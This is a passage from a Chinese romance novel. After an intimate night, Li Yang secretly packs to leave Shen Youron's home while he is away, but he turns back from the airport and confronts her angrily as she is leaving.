听到沈有容从浴室出来的动静,她抬头,视线直直盯着他看。 “痴线了?” 被黎泱直勾勾的眼神逗笑,沈有容在她旁边坐下。 他身上还带着没消散的水汽,还有一股冷淡好闻的须后水味道。黎泱合上书,搁在了床头柜上,这下更直白地盯着沈有容。 “你明天什么时候出发?” “八点。” 沈有容瞟了一眼被黎泱放下的那本书,是本很有名的爱情诗集。“怎么突然开始看这个了。” “没什么,我随便找的。” 黎泱不自然地咳嗽两声。 沈有容揉了揉她的头顶,交代说:“我离开的这几天,遇到什么事就去找项叔,他会帮你解决。” 想了想,他又补充一句,故意开玩笑道:“不知道等回来,happy还记不记得我。每天花钱给它开罐头,它最亲的却是你。” “沈有容。” “嗯?” 黎泱跪起身,朝他的方向移了移膝盖,双手攀住他的脖子,低头找到了那两瓣熟悉的唇。 她难得的主动,让沈有容怔住一瞬。 他顺势,伸手按住了黎泱的后背,把人紧紧搂在了怀中。随即,主动权被沈有容所掌控。 细细密密的吻像潮水般落下,黎泱睫毛颤抖,可还是用力回应、延续着这个吻。 氧气快要完全被掠夺前,沈有容终于停下了动作。黎泱像终于恢复生机的人喘着气,眼角都沁出了点点泪光。 沈有容用指腹替她抹去,捧着她的脸,嗓音戏谑道: “现在害怕了?” 黎泱慢慢调整了呼吸,伸出手,捏住了沈有容身上居家服的衣领。 她稍稍一用力,身子往前倾,把沈有容扑倒在了床上。后者低低闷哼了一声,性感极了。 “黎泱。”沈有容的声音忽然变得低沉,染上了一分情欲裹挟的沙哑。他按住她的手,说:“你知道自己在做什么吗?” 黎泱下意识瑟缩了手指。 但被沈有容箍住,逃不掉了。 她心中忽然生出了些许胆量,带着破釜沉舟的劲头。 “我知道。” “沈有容,我知道自己在做什么。” 她嘴唇一开一合,说出的话仿佛某种开关,又像是邀约。 沈有容的眼神暗了暗。 用行动,强势地回应了她。 混乱中,黎泱的手不小心将书桌上的那本诗集打到了地上。 书页哗啦翻动,不知道最后停在了哪一页上。 沈有容抵着意识迷离的黎泱,附在她的耳侧慢慢说: “你刚刚看的,是哪一首诗?” “是像,我们在做的事吗......” 她的理智全部溃散,像被抛到了高空中。 哪里记得自己刚才看过的内容。 沈有容却突然放慢了动作,故意坏心眼地欺负她:“把你刚才看到的诗,说给我听,好不好。” 黎泱被磨得难受,带着哭腔呻吟,摇头说:“我,我不记得了......” “你记得。” “那三个字,说出来。” 沈有容吻了吻她被汗水打湿的额角,耐心地引导哄骗:“说出来,就给你。” “泱泱,我要听你亲口说出那三个字。” 意识的最后,黎泱已经想不起来她到底有没有说出沈有容想要的那个结果。 一夜折腾。 黎泱第二天早晨醒来的时候,觉得浑身酸痛。 她睁开眼,沈有容已经起床,背对着她在换衣服。视线内是他宽大白皙的后背,只是原本光洁的皮肤上,有几道不深不浅地抓痕。 黎泱兀自想:这算不算她留给沈有容最后的东西? 等到几天后抓痕彻底消失,那个时候,她应该也彻底从沈有容的世界里消失了。 挺好的。 “吵醒你了?” 沈有容回头,看到黎泱已经醒来。他正在扣衬衫的纽扣,单手从上到下,没有低头。 在选领带的时候,他听到黎泱突然出声:“我帮你选好吗?” 她掀开被子下床,走到沈有容身后,伸手越过他,从架子上取下一条暗红色细条纹的领带。 黎泱垫脚,沈有容配合地底下脖子,让她把领带套在了衬衫领口下。 “什么时候学会系领带的? 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他曲起食指按了按眉心,强压下心头那股莫名的不适。 就好像,有什么事即将脱离他的掌控范围,让他感到无所适从。 可他继任后基本摆平了所有局面,宁恒上下也全都换成了自己的人,所有的项目进展一切顺利,没有需要他担忧的。 那又究竟什么? 他在担心什么,害怕什么? 沈有容不喜这种未知。这种未知难以察觉,可一旦发现,就已经到了无法挽回的时刻。 项怀英随口说:“不知道是不是天气原因,黎小姐最近好像变得格外不爱出门了......” 沈有容心中突然一叮,敏锐地捕捉到了什么信息。 “停车——” 项怀英不解地看向沈有容,但还是踩下了刹车。 “什么了?” “现在掉头回去。” 项怀英愣住:“现在?快到登机的时间了。” 沈有容没有说话,周身却悄然换上了冷肃。 他看着窗外飞驰而过的景色,神情紧绷。 . 黎泱送走沈有容后,并没有按照他说的回去休息。 她回房间换了外出的衣服,又从床底拖出了一只行李箱,在地上打开。 和沈有容待在一起的时候,她害怕被男人察觉到异样,没有提前收拾东西。等到今天确认沈有容离开且段时间内不会回来后,黎泱才大着胆子开始收拾。 她的东西并不多。当初住进沈有容家里的时候是什么样子,现在就是什么样。沈有容过去买给她的衣服配饰,她一样也没动,全部完好无损放在原位。 黎泱行李箱合上。看着拉链不断拉起合拢,恍惚间想起了自己刚到港城时的画面。 五个多月,近半年的时间。 华丽的,像场梦。 她也终于到了梦醒的时候。 黎泱拉着行李箱,关上了自己卧室的门。站在走廊上的时候,她看了眼旁边沈有容的卧室,眼神微动,停下了脚步。 她现在能畅通无阻进入家里所有的房间。可这个时候,黎泱还是有些心虚和紧张。 没关系的,反正沈有容已经离开了,不会回来的。 她在心里这样安慰自己,按下了房间门把手。 沈有容的房间她并不陌生。 屋内是什么布局,大到每件家具的摆设,小到桌面上的挂件和衣柜内的排列顺序,黎泱都一清二楚。 她环顾了一圈,慢慢挪动步子,走到了床边。 弯腰在被套间深深地吸了一下,鼻腔间立刻充斥着沈有容身上那股熟悉的冷木雪松味,带着让人定心的效果。 黎泱登时觉得鼻尖发酸。 她知道,她不该这么贪恋沈有容的味道。 可是没机会了,以后都没机会闻到了。 她就贪心这最后的片刻。 黎泱在失控前撤离,害怕被沈有容回来看出异样,她又把被子上的褶皱都一一抚平。 最后,轻轻地叹了口气。 “我走了。” 她用力按了按眼眶,试图压下刚才起伏的情绪。搓了把脸,让自己打起精神。 黎泱垂着眼,走向门口,重新按动了门把手。 门却先一步被人从外推开了。 而且站着一个意料之外的人影。 “你——” 她惊讶地看着沈有容的脸,不知道明明此刻应该在机场的人,怎么会突然回来了。 而且,脸色那么难看。 ——糟了!她的行李箱和包还放在外面,里面有她的证件和车票! 黎泱的心里陡然一空,迟疑地抬头,对上了沈有容的眼睛。 看清了,他眼中的滔天怒意。 她听到男人一字一顿开了口,话语间是克制不住的愠气。 “黎泱。” “你预备去哪?”